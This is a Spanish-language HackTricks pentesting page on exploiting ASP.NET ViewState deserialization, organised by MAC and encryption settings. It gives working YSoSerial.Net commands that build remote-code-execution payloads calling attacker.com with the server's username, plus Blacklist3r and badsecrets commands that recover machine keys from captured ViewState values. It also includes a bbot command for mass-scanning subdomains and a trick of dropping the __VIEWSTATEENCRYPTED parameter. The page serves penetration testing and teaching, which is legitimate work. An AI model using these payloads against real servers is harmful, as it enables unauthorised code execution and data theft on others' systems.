Exploiting __VIEWSTATE without knowing the secrets

Apoya a HackTricks

Consejo de bug bounty: regístrate en Intigriti, una plataforma de bug bounty premium creada por hackers, para hackers! Únete a nosotros en https://go.intigriti.com/hacktricks hoy, y comienza a ganar recompensas de hasta $100,000!

¿Qué es ViewState?

ViewState sirve como el mecanismo predeterminado en ASP.NET para mantener datos de página y control a través de páginas web. Durante el renderizado del HTML de una página, el estado actual de la página y los valores que se deben preservar durante un postback se serializan en cadenas codificadas en base64. Estas cadenas se colocan en campos ocultos de ViewState.

La información de ViewState se puede caracterizar por las siguientes propiedades o sus combinaciones:

  • Base64:

  • Este formato se utiliza cuando tanto los atributos EnableViewStateMac como ViewStateEncryptionMode están configurados como falsos.

  • Base64 + MAC (Código de Autenticación de Mensajes) Habilitado:

  • La activación de MAC se logra configurando el atributo EnableViewStateMac como verdadero. Esto proporciona verificación de integridad para los datos de ViewState.

  • Base64 + Encriptado:

  • La encriptación se aplica cuando el atributo ViewStateEncryptionMode está configurado como verdadero, asegurando la confidencialidad de los datos de ViewState.

Casos de Prueba

La imagen es una tabla que detalla diferentes configuraciones para ViewState en ASP.NET según la versión del marco .NET. Aquí hay un resumen del contenido:

  1. Para cualquier versión de .NET, cuando tanto MAC como Encriptación están desactivados, no se requiere una MachineKey, y por lo tanto no hay un método aplicable para identificarla.

  2. Para versiones anteriores a 4.5, si MAC está habilitado pero la Encriptación no, se requiere una MachineKey. El método para identificar la MachineKey se denomina "Blacklist3r."

  3. Para versiones anteriores a 4.5, independientemente de si MAC está habilitado o deshabilitado, si la Encriptación está habilitada, se necesita una MachineKey. Identificar la MachineKey es una tarea para "Blacklist3r - Desarrollo Futuro."

  4. Para versiones 4.5 y superiores, todas las combinaciones de MAC y Encriptación (ya sea que ambas sean verdaderas, o una sea verdadera y la otra falsa) requieren una MachineKey. La MachineKey se puede identificar usando "Blacklist3r."

Caso de Prueba: 1 – EnableViewStateMac=false y viewStateEncryptionMode=false

También es posible deshabilitar completamente el ViewStateMAC configurando la clave del registro AspNetEnforceViewStateMac a cero en:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

Identificando Atributos de ViewState

Puedes intentar identificar si ViewState está protegido por MAC capturando una solicitud que contenga este parámetro con BurpSuite. Si no se utiliza Mac para proteger el parámetro, puedes explotarlo usando YSoSerial.Net

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Los desarrolladores pueden eliminar ViewState de convertirse en parte de una solicitud HTTP (el usuario no recibirá esta cookie). Se puede suponer que si ViewState no está presente, su implementación es segura de cualquier vulnerabilidad potencial que surja con la deserialización de ViewState. Sin embargo, ese no es el caso. Si agregamos el parámetro ViewState al cuerpo de la solicitud y enviamos nuestra carga útil serializada creada con ysoserial, aún podremos lograr ejecución de código como se muestra en Caso 1.

Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false

Para habilitar ViewState MAC para una página específica, necesitamos hacer los siguientes cambios en un archivo aspx específico:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

Podemos hacerlo también para la aplicación general configurándolo en el archivo web.config como se muestra a continuación:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

Como el parámetro está protegido por MAC, esta vez para ejecutar el ataque con éxito primero necesitamos la clave utilizada.

Puedes intentar usar Blacklist3r(AspDotNetWrapper.exe) para encontrar la clave utilizada.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets es otra herramienta que puede identificar machineKeys conocidos. Está escrita en Python, por lo que, a diferencia de Blacklist3r, no hay dependencia de Windows. Para viewstates de .NET, hay una utilidad "python blacklist3r", que es la forma más rápida de usarla.

Se puede proporcionar directamente con el viewstate y el generador:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png

O, puede conectarse directamente a la URL objetivo e intentar extraer el viewstate del HTML:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png

Para buscar viewstates vulnerables a gran escala, en conjunto con la enumeración de subdominios, se puede utilizar el módulo badsecrets BBOT:

bbot -f subdomain-enum -m badsecrets -t evil.corp
https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png

Si tienes suerte y se encuentra la clave, puedes proceder con el ataque utilizando YSoSerial.Net:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

En los casos donde el parámetro _VIEWSTATEGENERATOR no es enviado por el servidor, no necesitas proporcionar el parámetro --generator sino estos:

--apppath="/" --path="/hello.aspx"

Caso de prueba: 3 – .Net < 4.5 y EnableViewStateMac=true/false y ViewStateEncryptionMode=true

En este caso no se sabe si el parámetro está protegido con MAC. Entonces, el valor probablemente está cifrado y necesitarás la clave de máquina para cifrar tu carga útil para explotar la vulnerabilidad.

En este caso, el Blacklist3r módulo está en desarrollo...

Antes de .NET 4.5, ASP.NET puede aceptar un parámetro ___VIEWSTATE_ sin cifrar de los usuarios incluso si ViewStateEncryptionMode ha sido configurado a Siempre. ASP.NET solo verifica la presencia del parámetro __VIEWSTATEENCRYPTED en la solicitud. Si se elimina este parámetro y se envía la carga útil sin cifrar, aún será procesada.

Por lo tanto, si los atacantes encuentran una manera de obtener la clave de máquina a través de otra vulnerabilidad como la exploración de archivos, el comando de YSoSerial.Net utilizado en el Caso 2, puede ser usado para realizar RCE utilizando la vulnerabilidad de deserialización de ViewState.

  • Elimina el parámetro __VIEWSTATEENCRYPTED de la solicitud para explotar la vulnerabilidad de deserialización de ViewState, de lo contrario, devolverá un error de validación de MAC de ViewState y la explotación fallará.

Caso de prueba: 4 – .Net >= 4.5 y EnableViewStateMac=true/false y ViewStateEncryptionMode=true/false excepto ambos atributos a false

Podemos forzar el uso del marco ASP.NET especificando el siguiente parámetro dentro del archivo web.config como se muestra a continuación.

<httpRuntime targetFramework="4.5" />

Alternativamente, esto se puede hacer especificando la opción a continuación dentro del parámetro machineKey del archivo web.config.

compatibilityMode="Framework45"

Como en el anterior, el valor está encriptado. Entonces, para enviar una carga útil válida, el atacante necesita la clave.

Puedes intentar usar Blacklist3r(AspDotNetWrapper.exe) para encontrar la clave que se está utilizando:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

Para una descripción más detallada de IISDirPath y TargetPagePath refiérase aquí

O, con Badsecrets (con un valor de generador):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png

Una vez que se identifica una clave de máquina válida, el siguiente paso es generar una carga útil serializada utilizando YSoSerial.Net

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

Si tienes el valor de __VIEWSTATEGENERATOR, puedes intentar usar el parámetro --generator con ese valor y omitir los parámetros --path y --apppath.

Una explotación exitosa de la vulnerabilidad de deserialización de ViewState llevará a una solicitud fuera de banda a un servidor controlado por el atacante, que incluye el nombre de usuario. Este tipo de exploit se demuestra en un proof of concept (PoC) que se puede encontrar a través de un recurso titulado "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Para más detalles sobre cómo funciona el proceso de explotación y cómo utilizar herramientas como Blacklist3r para identificar el MachineKey, puedes revisar el PoC de Explotación Exitosa.

Caso de Prueba 6 – ViewStateUserKeys está siendo utilizado

La propiedad ViewStateUserKey puede ser utilizada para defenderse contra un ataque CSRF. Si tal clave ha sido definida en la aplicación y tratamos de generar la carga útil de ViewState con los métodos discutidos hasta ahora, la carga útil no será procesada por la aplicación. Necesitas usar un parámetro más para crear correctamente la carga útil:

--viewstateuserkey="randomstringdefinedintheserver"

Resultado de una Explotación Exitosa

Para todos los casos de prueba, si la carga útil de ViewState YSoSerial.Net funciona exitosamente, entonces el servidor responde con “500 Internal server error” teniendo como contenido de respuesta “La información del estado no es válida para esta página y podría estar corrupta” y obtenemos la solicitud OOB.

Consulta más información aquí

Referencias

Consejo de bug bounty: regístrate en Intigriti, una plataforma de bug bounty premium creada por hackers, para hackers! Únete a nosotros en https://go.intigriti.com/hacktricks hoy, y comienza a ganar recompensas de hasta $100,000!

Apoya a HackTricks

Last updated